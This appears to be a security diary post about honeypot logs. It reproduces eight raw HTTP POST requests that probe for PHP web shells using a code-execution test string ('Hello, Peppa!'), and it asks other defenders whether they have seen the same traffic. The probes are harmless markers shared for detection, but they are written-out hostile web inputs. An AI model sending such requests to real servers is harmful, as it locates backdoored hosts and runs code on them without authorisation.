In the last few days (27 June on), my honeypot collected from various sources the same eight PHP POST to these scripts. Here are the eight scripts it attempts to post to:

20180629-132704: 192.168.25.2:80-47.96.42.91:3216 data "POST /wuwu11.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\n\r\nh=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132704: 192.168.25.2:80-47.96.42.91:3255 data "POST /xw.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\n\r\nh=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132705: 192.168.25.2:80-47.96.42.91:3533 data "POST /xx.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 47\r\n\r\naxa=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132705: 192.168.25.2:80-47.96.42.91:3609 data "POST /s.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\nleng=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132706: 192.168.25.2:80-47.96.42.91:3625 data "POST /w.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\nleng=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132706: 192.168.25.2:80-47.96.42.91:3707 data "POST /db.init.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\neval=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132707: 192.168.25.2:80-47.96.42.91:3733 data "POST /db_session.init.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\neval=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132707: 192.168.25.2:80-47.96.42.91:3779 data "POST /sheep.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 44\r\n\r\nm=die('Hello, Peppa!'.(string)(111111111*9))"

What is strange about these post, the test string is always the same [..]=die('Hello, Peppa!'.(string)(111111111*9))"

Have you seen any of these in your logs?

[1] http://www.honeypots.tk/details?id=W5CKOYAY8PQ3KGAC

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Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu